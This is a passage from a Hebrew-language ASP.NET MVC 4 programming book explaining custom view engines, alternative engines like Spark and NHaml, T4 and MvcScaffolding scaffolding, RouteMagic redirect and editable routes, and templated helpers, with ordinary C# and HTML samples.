 <h1 if="!String.IsNullOrEmpty(ViewBag.Message)">${ViewBag.Message}</h1> 

 <p> 

  This is a spark view. 

 </p> 

</body> 

</html> 

כילה אשר מ,  המיוחדתifשימו לב לתכונת . Sparkתצוגת לשימוש בזוהי דוגמה פשוטה מאוד 
הגישה ההצהרתית הזו לשליטה . ביטוי בוליאני שקובע אם האלמנט ימומש כחלק מהתצוגה

 . Sparkבפלט התגיות היא אחד מסימני ההיכר של 
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 איתור תצוגה

 : הינו הממשק העיקרי שיש ליישם בעת בניית מנוע תצוגה מותאם אישיתIViewEngineממשק 

public interface IViewEngine { 

 ViewEngineResult FindPartialView(ControllerContext controllerContext, 

  string partialViewName, bool useCache); 

 

 ViewEngineResult FindView(ControllerContext controllerContext, string 

viewName, 

  string masterName, bool useCache); 

 void ReleaseView(ControllerContext controllerContext, IView view); 

} 

 עובר באופן איטרטיבי על כל מנועי התצוגה FindView של מימושה, ViewEngineCollectionעם 
כך . תוך העברת שם התצוגה המבוקשת, של כל אחד מהם FindViewלשיטה קורא הרשומים ו

כל אחד ממנועי התצוגה האם הוא יכול לממש " שואל "ViewEngineCollectionהאוסף , למעשה
 . תצוגה מסוימת

אשר טומנת בחובה את התשובה , ViewEngineResult של מופע מחזירה FindViewיטה הש
 ). 15-1ראו טבלה " (?האם מנוע התצוגה יכול לממש את התצוגה"לשאלה 

 ViewEngineResultהמאפיינים של : 15-1טבלה 

 תיאור מאפיין 

View מופע ממשקמשמש להחזרת IView שאותר עבור שם התצוגה 
 . nullלא אותרה תצוגה מאפיין זה יכיל אם . שהתקבל

ViewEngine מופע ממשק משמש להחזרתIViewEngineבמקרה שאותרה תצוגה  ,
 .null  מוחזר- אותרה תצוגה אם לאו

SearchedLocations משמש להחזרתIEnumerable<string> שמכיל את כל המיקומים 
 .שנבדקו על ידי מנוע התצוגה

 שמנוע התצוגה לא מצא תצוגות ששמן תואם פירושו, null הוא Viewחזר של וערך המהאם 
הוא מחזיר רשימה של ,  מוצא תצוגהאינובכל פעם שמנוע תצוגה .  לולשם התצוגה שהועבר

נתיבי קבצים למנועי תצוגה שמשתמשים בקבצי אלה הם בדרך כלל . המיקומים שנבדקו
ו למשל מיקומי בסיס נתונים במקרה כמ, נה לגמריויכול להיות משהו שגם זה אבל , תבניות

 אינה יודעת לפרש את MVCתשתית . של מנועי תצוגה שמאחסנים תצוגות בבסיס נתונים
 . חתֵפַמְעבור ה שגיאה הודעותהצגת לוהיא משתמשת בהן רק , מחרוזות המיקום הללו

ת דלמעט העובדה שהיא מיוע, FindView פועלת באופן זהה לשיטה FindPartialViewהשיטה 
טיפול שונה בתצוגות ובתצוגות חלקיות מצד מנועי תצוגה הוא עניין . לאיתור תצוגות חלקיות

תצוגה על ה) או סידור(יש מנועי תצוגה שמחילים תצוגת מאסטר , לדוגמה. מקובל ושכיח
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 חשוב להצהיר אם ,מנועי תצוגה כאלהכאשר אתם משתמשים ב. הנוכחית על פי מוסכמה
ל ש כדי למנוע את החלת הסידור הכללי ,ה או לתצוגה חלקיתהבקשה היא לתצוגה מלא

 .  החלקיותותהתצוג

 התצוגה עצמה
.  הוא הממשק השני שעליכם ליישם בעת בנייה של מנוע תצוגה מותאם אישיתIViewממשק 

 : למרבה המזל מדובר בממשק פשוט למדי עם שיטה אחת בלבד
public interface IView { 

 void Render(ViewContext viewContext, TextWriter writer); 

} 

מנוע שאשר מכיל את כל המידע , ViewContextשל מופע לתצוגות מותאמות אישית מועבר 
. TextWriter של הוא מעביר גם מופעובנוסף ,  לוהתצוגה המותאם אישית עשוי להזדקק

ון נתוני התצוגה כג (ViewContextהתצוגה אמורה לצרוך את הנתונים שמאוחסנים באובייקט 
 .  מימוש הפלטשם לTextWriterשל אובייקט ולאחר מכן לקרוא לשיטות ) והמודל

 . ViewContext מפורטים המאפיינים שנחשפים על ידי 15-2בטבלה 

 ViewContextמאפייני : 15-2טבלה 

 תיאור מאפיין 

HttpContextשל מופע HttpContextBase . מספק גישה לאובייקטים
, Server ,Sessionכמו למשל , ASP.NETשל פנימיים 

Request או Response . 

Controllerשל מופע ControllerBase . מספק גישה לבקר ומבצע קריאה
 . למנוע התצוגה

RouteDataשל מופע RouteData . מספק גישה לערכי ניתוב עבור
 . הבקשה הנוכחית

ViewDataשל מופע ViewDataDictionary .הנתונים מכיל את 
 .שמועברים מהבקר לתצוגה

TempDataשל מופע TempDataDictionary . מכיל נתונים שמועברים
  .מטמוןזיכרון הלתצוגה על ידי הבקר דרך 

Viewמופע ממשק IView ,כלומר התצוגה הממומשת . 

ClientValidationEnabled ערך בוליאני שמציין האם אימות בצד הלקוח מופעל עבור
 . ה הזוהתצוג

FormContextמשמש לצרכי אימות בצד . מכיל מידע בנוגע לטופס
 . הלקוח
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 תיאור מאפיין 

FormIdGenerator כגון (מאפשר לכם להחליף את השם הסטנדרטי של הטופס
"form0 .(" 

IsChildAction ערך בוליאני שמציין האם הפעולה מוצגת כתוצאה לקריאה
 . Html.RenderAction או Html.Actionלשיטה 

ParentActionViewContext כאשרIsChildAction שווה true , מאפיין זה מכיל את
 .  של תצוגת האם של התצוגהViewContextאובייקט ה

Writerשל מופע HtmlTextWriterלשימוש עם סייעי ן שנית HTML 
להבטיח כדי , )BeginForm, קרי(שאינם מחזירים מחרוזות 

 . Web Formsתאימות עם מנועי תצוגה שאינם 

UnobtrusiveJavaScriptEnabled מאפיין זה מגדיר אם יש להשתמש בגישה לא פולשנית
, trueכאשר שווה . Ajaxלאימות בצד הלקוח ובאפשרויות 

הסייעים , במקום לפלוט מקטעי תסריט לתוך התגיות
ואלו משמשות את , HTML 5 של *-dataמפיקים תכונות 

י לשילוב התנהגויות התסריטים הלא פולשניים כאמצע
 . בתגיות

אבל טוב לדעתם שהם זמינים ,  לא בהכרח צריך גישה לכל המאפיינים הללו,כדי לממש תצוגה
 . למקרה שנזדקק להם

 חלופיים מנועי תצוגה

 סביר להניח שתשתמשו במנוע התצוגה המובנה ASP.NET MVCבפעם הראשונה שתעבדו עם 
 : ניהםיוב,  יתרונות רביםRazorוש במנוע לשימ. Razorמנוע התצוגה : של התשתית

 מנוע ברירת המחדלוזה  

 תחביר נקי ותמציתי 

 מערך פריסהתמיכה ב 

  קידודHTMLעל פי ברירת מחדל  

  תמיכה בשילוב תסריטיC# או VB 

  תמיכתIntelliSense בסביבת Visual Studio 

 : להיותיכולות סיבות אפשריות לכך .  נרצה להשתמש במנועי תצוגה אחריםלעתים

 כגון ,תות תכנות אחרולאפשר שימוש בשפ Ruby או Python  

  מימוש פלט שאינוHTML ,מסמכי , כגון גרפיקהPDF ,RSSוכו '  

 בניות מיושנות שנכתבו בפורמט אחרשימוש בת 



 417    נושאים מתקדמים:15פרק 

 תמצאו 15-3בטבלה . להשתמש בהםאתם יכולים מספר מנועי תצוגה חיצוניים שקיימים 
רבים נוספים שלעולם לא עוד יש מן הסתם אך ,  המוכרים יותרפירוט של כמה ממנועי התצוגה

 . שמענו עליהם

 מנועי תצוגה חיצוניים: 15-3טבלה 

 תיאור מנוע התצוגה

Spark מנוע התצוגהSpark) http://sparkviewengine.com ( הוא פרי עמלו של
פיתוח בוהוא ממשיך להימצא , )Microsoftכיום עובד (ארדין 'לואי דז
 ASP.NET - וMonoRail לצורך שיפור התמיכה שניתנת לתשתיות מתמיד

MVC . חשיבותו של מנוע התצוגה הזה נובעת מהעובדה שהוא מטשטש את
קוד על ידי שימוש בתחביר מאוד הצהרתי לבין תגיות ההפרדה שקו 

כולל ,  מתווספות אפשרויות חדשות כל הזמןSparkלמנוע . למימוש תצוגות
 אשר צברה פופולריות כתוצאה מהשימוש בה Jade תמיכה בשפת התבניות

 . Node.jsבמערכת 

NHaml מנוע התצוגהNHaml) של GitHub ,ד בכתובת יניתן להורש
https://github.com/NHaml/NHaml( . נוצר על ידי אנדרו פיטרס והופץ הוא

 Hamlמבוסס על מנוע התצוגה , 2007לראשונה דרך הבלוג שלו בדצמבר 
 תמציתית DSLמדובר בשפת . Ruby on Railsפופולרית של התשתית ה

 . תוויםבאמצעות מספר קטן של  XHTMLביותר שנועדה לתאר מבני 

Brail הדבר המעניין בנוגע למנועBrail)  המהווה חלק מפרויקטMvcContrib, 
 הינה Booשפת . Booהוא השימוש בשפת ) http://mvccontrib.org בכתובת

, )CLR(ם טיפוסיות סטטית לזמן הריצה המשותף עצמים ע-שפה מונחית
 .Pythonשחולקת מאפיינים רבים של שפת 

StringTemplateStringTemplate) של Google Codeד בכתובת י שניתן להור
http://code.google.com/p/string-template-view-engine-mvc ( הוא מנוע

מבוסס על מנוע הוא . מהדרולא בתבניות קל משקל שמשתמש במתרגם 
StringTemplate של Java . 

NVelocityNVelocity) http://www.castleproject.org/others/nvelocity ( הוא מנוע
 Apache/Jakartaתבניות שמופץ תחת רשיון קוד פתוח שיובא מפרויקט 

Velocity , ומיועד ליישומים מבוססיJava . פרויקטNVelocity זכה להצלחה 
 . הובילה להאטת הפרויקטנתגלו פגמים ש 2004שנת אך ב, יםכמה שנבמשך 

NustacheNustache) https://github.com/jdiamond/Nustache ( מימושהיא .NET של 
השם נובע מהשימוש בסוגריים  (Mustacheשפת התבניות הפופולרית 
 מוכרת כמערכת Mustacheשפת ).  על הצדמסולסלים שנראים כמו שפם

להימנע באופן מוחלט מודע הבשל המאמץ " היגיון-ולתנט"תבניות 
 . MVC כולל מנוע תצוגה עבור Nustacheפרויקט . ת בקרת זרימהוהצהרמ
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 תיאור מנוע התצוגה

NDjangoNDjango) http://ndjango.org( . של שפת התבניות זהו מימושDjango 
 .#Fאשר משתמש בשפת , NETלפלטפורמת 

Parrot המנוע החדשParrot) http://thisisparrot.com ( הוא מנוע תצוגה מעניין עם
תמיכה טובה באובייקטים מסוג אינדקס , CSS-תחביר תצוגה דמוי
 . ומערכת מימוש ניתנת להרחבה, ואובייקטים מקוננים

 מנוע תצוגה חדש או תוצאת פעולה חדשה
 במקום יצירה של טיפוס,  קרובות שואלים אותנו מהן הסיבות ליצירת מנוע תצוגה חדשלעתים

ActionResultנניח שברצונכם להחזיר אובייקטים בפורמט , לדוגמה.  חדשXMLמותאם אישית  .
ס חדש ולהחזיר אותו כתוצאת או לכתוב טיפו, האם עליכם לכתוב מנוע תצוגה מותאם אישית

 ? פעולה

בכל פעם שאתם ניצבים בפני בחירה שכזו שאלו את עצמכם האם יש צורך , בדרך כלל
אם יש דרך אחת בלבד להמיר . נית שעל בסיסו יהיה אפשר לממש תגיותבאיזשהו קובץ תב

 .  מותאם אישיתActionResultאז כנראה שנכון יותר לכתוב טיפוס , אובייקט לפורמט פלט

שמשמש להמרת אובייקטים לתחביר , JsonResult כוללת את ASP.NET MVCתשתית , לדוגמה
JSONאחת בלבד להמיר אובייקט לפורמט בדרך כלל יש דרך.  באמצעות סריאליזציה JSON .
אין צורך לשנות את הסריאליזציה של האובייקט בהתאם לשיטת הפעולה או לתצוגה , לכן

 . הסריאליזציה אינה נקבעת על סמך תבנית, במילים אחרות. שמוחזרת

קיימות . HTML- לXML כדי להמיר XSLTנניח שברצונכם להשתמש בטרנספורמציית , עם זאת
. ועליכם לבחור בדרך הרצויה בהתאם לפעולה הרצויה, HTML לתגיות XML שונות להמיר דרכים

 .  בתור תבניות תצוגהXSLT אשר משתמש בקבצי XsltViewEngineבמצב כזה תוכלו ליצור 

 אפשרויות תבנית פיגומים מתקדמות
) scaffolds (פיגומים. MVC 4פיגומים ביישומי - עסקנו בשימוש של תצוגות מבוססות4בפרק 

) Add Controllerשיח -ממשק הידידותי של תיבת הדוהודות ל(מאפשרים ליצור בקלות רבה 
מערכת , 4 כמצוין בפרק. עדכון ומחיקה, קריאה, בקרים ותצוגות שתומכים בפעולות יצירה

ובסעיף זה נציג בפניכם מספר דרכים להרחבת מערכת ,  ניתנת להרחבהMVCהפיגומים של 
 . רטיתהפיגומים הסטנד

 T4התאמה אישית של תבניות קוד 
,  הינו מנוע הפקת קודT4)T4   מבוססת על תבניותMVCמערכת הפיגומים הסטנדרטית של 

 בתיקייה Visual Studioבהנחה שהתקנתם את ). Visual Studioאשר כלול בסביבת הפיתוח 
C:\Program Files (x86)\Microsoft Visual Studio 11.0\ ,ות להימצא במיקומים התבניות אמור

 :הבאים
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 C:\Program Files (x86)\Microsoft Visual Studio 11.0\Common7\ 

IDE\ItemTemplates\CSharp\Web\MVC 4\CodeTemplates\AddController 

 C:\Program Files (x86)\Microsoft Visual Studio 11.0\Common7\ 

IDE\ItemTemplates\CSharp\Web\MVC 4\CodeTemplates\AddView 

אם אתם רוצים , על כן. CodeTemplates מחפשת בפרויקט שלכם תיקייה בשם MVC, בתחילה
 אל CodeTemplatesתוכלו להעתיק את התיקייה , להתאים אישית את הבקרים החדשים שלכם

 Visualני בעי" לא תמצא חן"פעולה זו .  משלכםT4ולהוסיף בה תבניות , שורש הפרויקט

Studio , תוצג הודעת שגיאה שתרגומה לעברית הואולכן: 

לא ניתן למצוא את הטיפוס או : טרנספורמציית הידור
אולי (' MvcTextTemplateHost'את שם מרחב השמות 

 ). ?assembly לקובץ הפניה או usingשכחתם הנחיית 
 להציב Visual Studio - לפרויקט גורמת לT4הסיבה להצגת ההודעה הזו היא שהוספת קובץ 

זה . TextTemplatingFileGeneratorכל אחת מהתבניות את הערך  של Custom Toolמאפיין ב
אך אין זה הערך הנכון כאשר , תלויים- בלתיT4בדיוק מה שנרצה שיקרה כשמדובר בקבצי 

 T4בחרו את כל קבצי , כדי לפתור את הסוגיה הזו. משתמשים בהם בתור פיגומים לתצוגות
 . 15-9כמוצג בתרשים , Properties בחלון Custom Toolומחקו את ערך המאפיין 

 

 15-9תרשים 
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 בשם NuGetדרך פשוטה יותר היא להתקין בפרויקט שלכם חבילת 
Mvc4CodeTemplatesCSharp אשר מיועדת למשתמשי C# , או להתקין

Mvc4CodeTemplatesVB עבור משתמשי Visual Basic . החבילה מעתיקה את התבניות
ובנוסף גם דואגת להגדרה נכונה של פעולת הבנייה עבור הקבצים הללו , לפרויקט שלכם

 .  להריץ אותם בעת פתיחתםVisual Studioכדי למנוע מסביבת 

 שבפרויקט שלכם T4 תעדיף את התבניות של פיגומי התצוגה Add Viewשיח - תיבת הדו,כעת
לחלק מהתבניות שם אתם יכולים גם לתת . על פני תבניות ברירת המחדל בעלות אותו שם

 תציג את התבניות החדשות שלכם כאפשרויות ברשימה Add Viewשיח -תיבת הדו. חדש
 . Scaffold Templateהנפתחת 

 תבניות קוד לעומת תבניות סיוע

. MVCקל להתבלבל בין התבניות הללו לבין תבניות הסיוע שמשמשות אותנו בתצוגות 
משמשות להצגת נתוני מודל ) בהמשך הפרק" ניותתב"ראו סעיף  (Display- וEditorהתבניות 

 כאשר Visual Studio שאנו דנים בהן בסעיף זה משמשות את T4בעוד שתבניות , מתוך התצוגה
אתם יכולים לראות את התבניות הראשונות כפיגומי . מוסיפים פריטי קוד חדשים לפרויקט

 ). טטייםס(כפיגומי זמן עיצוב  -ואת האחרונות , )דינמיים(זמן ריצה 

  NuGet של MvcScaffoldingחבילת 

אולם על ידי ,  באופן המתואר בסעיף הקודם אומנם משיג את המטרהT4השימוש בתבניות 
 ניתן לשפר באופן דרמטי את חוויית העבודה עם NuGetשל  MvcScaffoldingהתקנת חבילת 

 . ASP.NET MVC 4פיגומים בסביבת 
Install-Package MvcScaffolding 

 Microsoftאך היא אינה כלולה במוצרי , ASP.NETהחבילה אמנם נכתבה על ידי חבר בצוות 
 : החבילה כוללת מספר כלים שימושיים ביותר. ואינה זוכה לתמיכה רשמית כלשהי

  שיח -אפשרויות מתקדמות לתיבת הדוהחבילה מוסיפה מספרAdd Controllers. 

 ליך הפיגומים על ידי הזנת פקודות החבילה יכולה לספק לכם שליטה אמיתית בתה
PowerShell מסוף ב מיוחדותPackage Manager Console . 

 אוטומציה של תהליך היצירה של פיגומים מותאמים אישית . 

  מכיוון שמדובר בחבילתNuGet , מחוץ למחזור (ניתן לשחרר עדכונים תכופים יותר
 . NuGetאשר זמינים להתקנה דרך , )ASP.NET MVCהעדכונים של 

הנקודה האחרונה היא בדיוק הסיבה שלא כדאי להציג תיעוד מפורט של חבילת 
MvcScaffolding ,עם זאת. הוא כבר לא יהיה עדכני, כי סביר להניח שכאשר תקראו אותו ,

ונפנה אתכם למקורות מקוונים כדי שתוכלו להתעדכן , נסביר בקצרה כיצד החבילה פועלת
 . בזמן אמת
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  המעודכנתAdd Controllerשיח -דואפשרויות תיבת ה

 Add Controllerשיח - מוסיפה שתי אפשרויות חדשות לתיבת הדוMvcScaffoldingהחבילה 
 ). 15-10תרשים (

 MvcScaffolding: Controller with read/write actions and views, using EF 
data access code: זו דומה מאוד לאפשרות   אפשרותController with read/write 

actions and views, using the EF templateכגון , עם מספר הבדלים קלים,  הסטנדרטית
 . שימוש בתצוגה חלקית משותפת לתרחישי יצירה ועדכון

 MvcScaffolding: Controller with read/write actions and views, using 
repositories  :ידי חבילת והוספה על, אפשרות זו מעניינת יותר MvcScaffolding .

 . הסעיף הבא מוקדש לתיאור השימוש בה

 

 15-10תרשים 

 שימוש בתבנית המחסן

 :MvcScaffoldingהוסיפו בקר חדש ובחרו בתבנית , )repository(כדי להשתמש בתבנית המחסן 

Controller with read/write actions and views, using repositories , כמוצג בתרשים
15-11 . 
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 15-11תרשים 

 MVC Musicיישום ה הקיים של StoreManagerControllerבקר זו אנו מחליפים את דוגמה ב

Store במקום לכלול בבקר את קוד גישת הנתונים של ). ובתצוגות חדשות( בבקר חדשEntity 

Framework , בבקר זה מבוצעת הפשטה של קוד הגישה לנתונים על , 4כמו בדוגמה שבפרק
 . הקוד של המחלקה הזו מוצג להלן. AlbumRepositoryידי מחלקה נפרדת בשם 

using System; 

using System.Collections.Generic; 

using System.Data; 

using System.Data.Entity; 

using System.Linq; 

using System.Linq.Expressions; 

using System.Web; 

namespace MvcMusicStore.Models 

{ 

 public class AlbumRepository : IAlbumRepository 

 { 

  MusicStoreEntities context = new MusicStoreEntities(); 

 

  public IQueryable<Album> All 

  { 

   get { return context.Albums; } 

  } 

 

  public IQueryable<Album> AllIncluding( 

   params Expression<Func<Album, object>>[] includeProperties) 

  { 

   IQueryable<Album> query = context.Albums; 

   foreach (var includeProperty in includeProperties) { 

    query = query.Include(includeProperty); 

   } 
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   return query; 

  } 

 

  public Album Find(int id) 

  { 

   return context.Albums.Find(id); 

  } 

 

  public void InsertOrUpdate(Album album) 

  { 

   if (album.AlbumId == default(int)) { 

    // New entity 

     context.Albums.Add(album); 

   } else { 

    // Existing entity 

    context.Entry(album).State = EntityState.Modified; 

   } 

  } 

 

  public void Delete(int id) 

  { 

   var album = context.Albums.Find(id); 

   context.Albums.Remove(album); 

  } 

 

  public void Save() 

  { 

   context.SaveChanges(); 

  } 

 } 

 

 public interface IAlbumRepository 

 { 

  IQueryable<Album> All { get; } 

  IQueryable<Album> AllIncluding( 

   params Expression<Func<Album, object>>[] includeProperties); 

  Album Find(int id); 

  void InsertOrUpdate(Album album); 

  void Delete(int id); 

  void Save(); 

 } 

} 

את קוד הבקר קל יותר לבדוק : להפרדת קוד הגישה לנתונים מהבקר יש מספר יתרונות
והדבר גם , )13בפרק " מהבקרים העסקי ההיגיון הוצאת"להסבר מפורט בנושא ראו סעיף (

 . מאפשר למחזר את קוד המחסן בכל מקום בפרויקט
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 הוספת מחוללי פיגומים

אתם יכולים . להפקת קוד) scaffolders(פיגומים מחוללי  משתמשת בMvcScaffoldingמערכת 
והדרך הקלה ביותר ליצור בסיס טוב לקוד של מחולל , ם משלכםגם ליצור מחוללי פיגומי

 שכלול CustomScaffolderהפיגומים שלכם היא להשתמש במחולל פיגומים קיים בשם 
 .MvcScaffoldingבחבילה 

הזינו את , כדי ליצור מחולל פיגומים חדש לטיפול בתרחיש של יצירת בקר חדש, למשל
 : ות למסוף של מנהל החבילההפקודה הבא

Scaffold CustomScaffolder AwesomeController 

 אל AwesomeControllerפקודה זו תגרום להוספת הקבצים הדרושים למחולל הפיגומים 
 עם .CodeTemplates\Scaffolders\AwesomeController שתיקָרֵאבפרויקט התיקייה החדשה 

אבל כל העבודה , החדשאתם עדיין צריכים לערוך את הקוד של מחולל הפיגומים , זאת
 . שמסביב כבר בוצעה עבורכם ואתם יכולים להתמקד בקוד הייחודי למחולל הפיגומים שלכם

 משאבים נוספים

מכיוון , ברמה כללית ביותר MvcScaffoldingהקפדנו לסקור את השימוש בחבילת , כמובטח
טוב ביותר על המידע ה, נכון לזמן הכתיבה. שהפרטים הטכניים המעשיים משתנים ללא הרף

MvcScaffolding המחבר העיקרי של ( נמצא בבלוג של סטיבן סנדרסוןMvcScaffolding (
 . http://blog.stevensanderson.com/?s=scaffoldingבכתובת 

 אפשרויות ניתוב מתקדמות
וההתמחות בתחום מאתגרת ,  נאמר שהעקרונות הבסיסיים של הניתוב פשוטים9בסוף פרק 

ה נציג מספר טכניקות מתקדמות שבאמצעותן תוכלו לספק פתרונות אלגנטיים בסעיף ז. מאוד
 . למספר תרחישי ניתוב בעייתיים

RouteMagic 

 שניתן להורדה GitHubזהו פרויקט קוד פתוח של . RouteMagic הזכרנו את פרויקט 9בפרק 
 . https://github.com/Haacked/RouteMagicבכתובת 

 הוא פרי עמלו של RouteMagicפרויקט . RouteMagic בשם NuGetהפרויקט זמין גם כחבילת 
 אשר ASP.NETוהוא מספק הרחבות מצוינות למערכת הניתוב של , ממחברי ספר זה, פיל האק

 . כוללות אפשרויות הרבה יותר מתקדמות ועשירות בהשוואה למערכת המובנית

ת המשך ניתובי הפניי היא תמיכה בRouteMagicחת ההרחבות השימושיות שמספקת חבילת א
)redirect routes.(כתובת : "ייקוב נילסן היא'אחת העצות של מומחה השמישות ג,  כזכורURL 

 . על ידי שימוש בניתובי הפניות המשך תוכלו לעמוד בדרישה הזו". קבועות אינן משתנות
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 ככל העולה על URLת הניתוב היא היכולת לשנות את מבני כתובת אחד היתרונות של גיש
, בכל פעם שאתם משנים את הניתובים. על ידי עדכון הניתובים שלכם, רוחכם במהלך הפיתוח

אבל , מדובר באפשרות נוחה מאוד.  באתר שלכם מתעדכנות באופן אוטומטיURLכל הכתובות 
מכיוון שהיא תגרום לשבירת , פעות מזיקותלאחר פתיחת האתר לציבור עלולות להיות לה הש

 . קישורים קיימים לאתר שפורסמו ברחבי הרשת

לאחר התקנת חבילת . תוכלו לספק מענה לסוגיה זו על ידי שימוש נכון בהפניות המשך
תוכלו לכתוב ניתובי הפניית המשך שמקבלים ניתוב ישן ומפנים אותו , RouteMagicהתוכנה 

 : כמוצג להלן, לניתוב חדש
var newRoute = routes.MapRoute("new", "bar/{controller}/{id}/{action}"); 

routes.Redirect(r => r.MapRoute("oldRoute", 

 "foo/{controller}/{action}/{id}") 

).To(newRoute); 

אנחנו משוכנעים . RouteMagic של GitHubבקרו בדף , RouteMagicלמידע נוסף על החבילה 
 .  תצרפו את החבילה למערך הכלים הקבוע שלכםשבמהרה

 ניתובים ניתנים לעריכה

כל שינוי של כללי הניתוב מחייב הידור חוזר של היישום , ASP.NET MVCלאחר פריסת יישום 
 . ופריסה של תוצר הקוד החדש במיקומים שמוגדרים על ידי הניתובים

ם נחשבים בדרך כלל כחלק מקוד מכיוון שניתובי, האילוץ הזה נובע באופן חלקי מהעיצוב
הגדרה שגויה . ולפיכך צריכים להיות קשורים לבדיקות יחידה שמאמתות את נכונותם, היישום

 . של ניתוב יכולה לגרום לכשל קריטי של היישום

יש מצבים רבים שבהם שינוי הניתובים מבלי לבצע הידור חוזר של כל היישום יכול , עם זאת
 . למשל במערכת ניהול תכנים גמישה במיוחד או במנוע בלוגיםכמו, להיות מאוד שימושי

תחילה .  כולל תמיכה בניתובים שניתנים לעריכה בזמן שהיישום פועלRouteMagicפרויקט 
כמוצג , ASP.NET MVC 4יישום  של App_Start חדשה לתיקייה Routes הלהוסיף מחלקעליכם 

 . 15-12בתרשים 

 בחרו Build Actionשדה וב, Visual Studio של Propertiesשיח -תיבת הדופתחו את כעת 
Content , כדי שהקובץ לא ישולב ביישום כחלק מתהליך ההידור, 15-3כמוצג בתרשים . 
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 15-13תרשים       15-12תרשים 

מכיוון שהמטרה היא להדר את הקובץ , Routes.csמחברי החבילה השמיטו בכוונה את הקובץ 
, אינכם צריכים להוסיף אותו באופן ידני (Routes.csלהלן הקוד של . דינמי בזמן הריצהבאופן 

 ).  שהתקנתה מודגמת בסוף הסעיףNuGetמכיון שהוא כלול בחבילת 
using System.Web.Mvc; 

using System.Web.Routing; 

using RouteMagic; 

 

public class Routes : IRouteRegistrar 

{ 

 public void RegisterRoutes(RouteCollection routes) 

 { 

  routes.IgnoreRoute("{resource}.axd/{*pathInfo}"); 

 

  routes.MapRoute( 

   name: "Default", 

   url: "{controller}/{action}/{id}", 

   defaults: new { controller = "Home", 

    action = "Index", 

    id = UrlParameter.Optional } 

  ); 

 } 

} 
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אם .  ללא מרחב שמותRoutes מחפשת מחלקה בשם RouteMagicמערכת ההידור של  הערה
לא יבוצע רישום של , תשתמשו בשם מחלקה שונה או תשכחו להסיר את מרחב השמות

 . הניתובים

. RouteMagic שמוגדר בתוצר הקוד של IRouteRegistrarמערכת הניתוב מיישמת ממשק בשם 
 . RegisterRoutesאת , ת בלבדהממשק הזה מגדיר שיטה אח

כדי שרישום זה יבוצע  App_Start/RouteConfig.csרישום הניתובים בקובץ נעדכן את כעת 
 . באמצעות שיטת ההרחבה החדשה

using System; 

using System.Collections.Generic; 

using System.Linq; 

using System.Web; 

using System.Web.Mvc; 

using System.Web.Routing; 

using RouteMagic; 

 

namespace Wrox.ProMvc4.EditableRoutes 

{ 

 public class RouteConfig 

 { 

  public static void RegisterRoutes(RouteCollection routes) 

  { 

   RouteTable.Routes.RegisterRoutes("~/App_Start/Routes.cs"); 

  } 

 } 

} 

 גם App_Start שבתיקייה Routes.csניתן לשנות ניתובים בקובץ , לאחר השלמת העדכונים
 . וללא צורך בהידור חוזר, לאחר פריסת היישום

, כעת. הריצו את היישום ונווטו אל דף הבית הסטנדרטי, כדי לראות את המערכת בפעולה
 Login והפעולה Accountכך שהבקר , שנו את ניתוב ברירת המחדל, מבלי לעצור את היישום

 : ישמשו כברירת המחדל לניתוב
using System.Web.Mvc; 

using System.Web.Routing; 

using RouteMagic; 

 

public class Routes : IRouteRegistrar 

{ 

 public void RegisterRoutes(RouteCollection routes) 

 { 

  routes.IgnoreRoute("{resource}.axd/{*pathInfo}"); 
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  routes.MapRoute( 

   name: "Default", 

   url: "{controller}/{action}/{id}", 

    defaults: new { controller = "Account", 

     action = "Login", 

    id = UrlParameter.Optional } 

  ); 

 }  

} 

 . Loginמסך התצוגה  תראו שבמקום דף הבית מופיעה על ,לאחר רענון הדף

 ת מתקדמותתבניו
תבנית -סייעים מבוססי. )templated helpers(תבנית -מבוססי סייעים הוצג המושג 5פרק ב

ונקראים בשם זה מכיוון , DisplayFor ואת EditorFor אשר כולל את HTMLהם סוג של סייעי 
כדי לרענן את . מטא של המודל ותבניות- באמצעות נתוניHTMLשהם משמשים למימוש של 

 : Priceש לנו אובייקט מודל עם מאפיין בשם הבה נניח שי, ידיעותינו

public decimal Price { get; set; } 

 .Price כדי לבנות קלט למאפיין EditorForנוכל להשתמש בסייע 
@Html.EditorFor(m=>m.Price) 

 : שתתקבלנה כתוצאה מהפעולה הזוHTMLואלו תגיות 

<input class="text-box single-line" id="Price" 

 name="Price" type="text" value="8.99" /> 

מטא למודל עם -כבר ראינו כיצד ניתן לשנות את הפלט של הסייע על ידי הוספת נתוני
כעת נראה לכם כיצד לשנות את הפלט . DisplayFormat או Displayכגון  נתונים ןסימומאפייני 

. מות אישית שלכם באמצעות תבניות מותאMVCעל ידי דריסת תבניות ברירת המחדל של 
נסביר , אך לפני שנבנה תבניות משלנו, שימוש בתבניות מותאמות היא טכניקה יעילה ופשוטה

 . את אופן הפעולה של התבניות המובנות

 תבניות ברירת המחדל

התבניות - כוללת מספר תבניות מובנות אשר משמשות את הסייעים מבוססיMVCתשתית 
. את התבנית שבה ישתמשו על סמך מידע בנוגע למודלהסייעים בוחרים . HTMLלבניית קוד 

ניקח לדוגמה את המאפיין . המטא של המודל-מידע זה כולל את טיפוס המודל וגם את נתוני
IsDiscounted מטיפוס bool : 

public bool IsDiscounted { get; set; } 

 :  כדי להפיק קלט עבור המאפייןEditorForגם הפעם ניתן להשתמש בסייע 

@Html.EditorFor(m=>m.IsDiscounted) 
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 Priceהשוו את הקוד הזה לקוד של המאפיין (הסייע מימש קלט מסוג תיבת סימון , הפעם
 ). שבה נעשה שימוש בשדה טקסט לקבלת קלט, מהדוגמה הקודמת

<input class="check-box" id="IsDiscounted" name="IsDiscounted" 

 type="checkbox" value="true" /> 

<input name="IsDiscounted" type="hidden" value="false" /> 

הסיבה ליצירת שדה הקלט המוסתר השני מוסברת (הסייע מפיק שתי תגיות קלט , למעשה
אך ההבדל העיקרי מבחינת הפלט טמון בעובדה שהסייע , )5בפרק " Html.CheckBox"בסעיף 

EditorForן מטיפוס  משתמש בתבניות שונות עבור מאפייbool ועבור מאפיין מטיפוס decimal .
ותיבת טקסט חופשית , הדבר מאפשר לספק למשתמש תיבת סימון להגדרת מאפיין בוליאני

 . יותר להזנת ערך של משתנה דצימלי

התשובות . בשלב זה אתם עשויים לתהות כיצד נראות התבניות המובנות ומהיכן הן מגיעות
 . MVC Futures ושל ספריית MVCור של תשתית  בקוד המקלשאלות הללו טמונות

  והגדרות תבנית MVC Futuresספריית 

בזמן  System.Web.Mvc נכללות בתוצר הקוד MVCהתבניות המובנות שמשמשות את תשתית 
בכתובת  (ASP.NET MVC 4 Futuresאם תורידו את . והגישה אליהן אינה פשוטה, ההידור

http://aspnet.codeplex.com/releases/view/58781 (תוכלו לעיין בקוד המקור שלהן . 

